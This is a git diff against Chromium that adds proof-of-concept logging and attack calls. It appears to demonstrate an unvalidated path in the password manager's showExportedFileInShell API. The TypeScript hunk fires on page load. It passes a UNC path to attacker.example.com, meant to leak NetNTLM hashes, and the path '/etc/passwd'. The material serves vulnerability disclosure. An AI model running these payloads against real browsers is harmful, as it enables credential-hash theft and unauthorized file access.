diff --git a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
index fb907bd7cd4ab..0572669e04125 100644
--- a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
+++ b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc
@@ -981,6 +981,13 @@ void PasswordsPrivateDelegateImpl::ShowAddShortcutDialog(
 void PasswordsPrivateDelegateImpl::ShowExportedFileInShell(
     content::WebContents* web_contents,
     std::string file_path) {
+  // [POC INSTRUMENTATION] Prove that a renderer-supplied path crosses the IPC
+  // boundary into the browser process and is forwarded to ShowItemInFolder
+  // with no validation against the actual exported destination_.
+  LOG(ERROR) << "[POC] BROWSER PROCESS ShowExportedFileInShell received "
+                "renderer-supplied path: \""
+             << file_path << "\" -> forwarding to platform_util::"
+                             "ShowItemInFolder UNVALIDATED";
   BrowserWindowInterface* browser =
       GlobalBrowserCollection::GetInstance()->FindBrowserWithTab(web_contents);
   DCHECK(browser);
diff --git a/chrome/browser/platform_util_linux.cc b/chrome/browser/platform_util_linux.cc
index 34ae7fe50cd39..ca08c693cdc83 100644
--- a/chrome/browser/platform_util_linux.cc
+++ b/chrome/browser/platform_util_linux.cc
@@ -505,6 +505,14 @@ void PlatformOpenVerifiedItem(const base::FilePath& path, OpenItemType type) {
 
 void ShowItemInFolder(Profile*, const base::FilePath& full_path) {
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
+  // [POC INSTRUMENTATION] On Windows this same call reaches
+  // IShellFolder::ParseDisplayName / SHOpenFolderAndSelectItems / ShellExecute
+  // with the raw path (platform_util_win.cc:39-86). Log the value that the
+  // OS shell layer receives.
+  LOG(ERROR) << "[POC] platform_util::ShowItemInFolder invoked with path: \""
+             << full_path.value()
+             << "\" (Windows: SHOpenFolderAndSelectItems / "
+                "ShellExecute on this string)";
   PortalHelper::GetInstance().ShowItemInFolder(full_path);
 }
 
diff --git a/chrome/browser/resources/password_manager/password_manager_app.ts b/chrome/browser/resources/password_manager/password_manager_app.ts
index ad4d032f22b8b..eb21d7d4aeee9 100644
--- a/chrome/browser/resources/password_manager/password_manager_app.ts
+++ b/chrome/browser/resources/password_manager/password_manager_app.ts
@@ -164,6 +164,18 @@ export class PasswordManagerAppElement extends PasswordManagerAppElementBase {
   override connectedCallback() {
     super.connectedCallback();
 
+    // [POC] Simulate a compromised chrome://password-manager renderer:
+    // an attacker with script execution in this origin can invoke the
+    // passwordsPrivate.showExportedFileInShell API with an arbitrary path.
+    // No export ever ran; no user gesture; no re-auth.
+    console.error(
+        '[POC] renderer: invoking showExportedFileInShell with attacker path');
+    // Windows attack vector: UNC path -> SMB connect -> NetNTLM hash leak.
+    chrome.passwordsPrivate.showExportedFileInShell(
+        '\\\\attacker.example.com\\share\\creds.txt');
+    // Generic vector: arbitrary local path on any OS.
+    chrome.passwordsPrivate.showExportedFileInShell('/etc/passwd');
+
     const narrowQuery = window.matchMedia('(max-width: 1300px)');
     this.narrow_ = narrowQuery.matches;
     this.eventTracker_.add(